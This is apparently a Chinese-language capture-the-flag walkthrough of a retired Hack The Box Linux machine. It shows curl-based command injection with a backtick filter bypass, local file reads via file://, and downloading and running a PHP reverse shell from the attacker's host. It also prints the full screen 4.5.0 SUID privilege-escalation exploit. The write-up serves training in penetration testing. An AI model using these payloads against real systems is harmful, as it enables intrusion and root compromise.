概述 (Overview)
HOST: 10.10.10.24
OS: LINUX
发布时间: 2017-05-27
完成时间: 2021-09-15
机器作者: r00tkie
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #SUID #Command_Injection
攻击链 (Kiillchain)
使用 Nmap 对目标服务器进行开放端口枚举,通过目录枚举识别出脆弱的 PHP 功能服务器,使用命令执行内容封装协议进行本地文件读取,经过对其 Bypass 后成功拿到立足点。最终通过具有 SUID 权限的脆弱服务进行权限提升,拿到 ROOT 权限。
枚举(Enumeration)
老规矩,开局使用 Nmap 对目标服务器的开放端口进行枚举扫描:
PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA) | 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA) |_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519) 80/tcp open http | http-methods: |_ Supported Methods: GET HEAD |_http-title: HTB Hairdresser
仅有两个开放端口,看来我们需要在HTTP服务上找突破口了。
Port 80 - Nginx/PHP
使用浏览器查看网站只看到一张图片,预览网页源代码也没见到其他的提示:
对目录进行枚举,访问 /uploads 路径会出现 “403 Forbiddeh”,说明并不存在目录列表显示:
尝试将首页上的图片路径加入url,发现可以预览的图片:
立足点(Foothold)
因为 Web 服务是 Nginx ,那么有理由推测大概率是配合 PHP 部署的,将后缀加入到目录扫描的枚举配置中,再次扫描后得到 /exposed.php 文件。
浏览它会发现是一个可用来加载外部网站的功能:
从表单提交后返回的信息来看,可能存在命令注入_(为什么不是 SSRF 是因为显示的信息和 curl 命令获取目标网站的详情信息类似)_,测试后发现与预想的一样。
从上图中可以得到目标服务端是会主动访问 kali 上的 Web 服务,随后进行简单的 Fuzzing ,发现当提交的内容含有|
或 &
会提示拦截:
| is not a good thing to put in a URL
排除可以用管道链接符来执行任意命令,改为使用运行反引号来进行命令执行。
表单提交:
-v http://10.10.17.64/`id`
Kali 的 Web 服务得到了目标服务器执行 id
命令后的结果:
$ 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [15/Sep/2021 14:15:30] "GET /uid=33(www-data) HTTP/1.1" 404 -
在琢磨着怎么进行命令执行反弹shell时,想到了 curl 可以执行内置的封装协议,随后使用 file:// 协议进行本地文件读取。
表单提交:
-v file:///etc/passwd
从得到的结果中发现 root、maria 用户具备登录条件,接着读取 exposed.php 文件,看看当前漏洞是怎么产生的,分析后续构造利用方式:
表单提交:
-v file:///var/www/html/exposed.php
得到 PHP 代码:
...snip...
<?php
if(isset($_POST['formurl'])){
echo "<p>Requesting Site...</p>";
$userurl=$_POST['formurl'];
$naughtyurl=0;
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
foreach($disallowed as $naughty){
if(strpos($userurl,$naughty) !==false){
echo $naughty.' is not a good thing to put in a URL';
$naughtyurl=1;
}
}
if($naughtyurl==0){
echo shell_exec("curl ".$userurl." 2>&1");
}
}
?>
...snip...
存在一个黑明,单不允许出现特定字符,这里我绕过的方式也很简单,通过 -o
参数特性下载反弹shell脚本,随后通过反引号触发命令执行。
反弹shell脚本 - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
提交表单:
-v http://10.10.17.64/shell.php -o /tmp/shell.php -v http://10.10.17.64/`php /tmp/shell.php`
Nice,成功拿到目标服务器立足点。
权限提升(Privilege Escalation)
将 linpeas.sh 传递至服务器,运行后进行一步收集信息。
找到一个具有 SUDI 权限的二进制命令 screen
。
接着在 exploit-db 中找到了权限提升利用脚本,正好目标服务器上的 screen
就是存在脆弱性的 4.5.0 版本。
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
$ cd /etc
$ umask 000
$ screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ screen-4.5.0 -ls
$ /tmp/rootshell
将上诉命令全部在目标服务器上执行,成功得到 root 权限。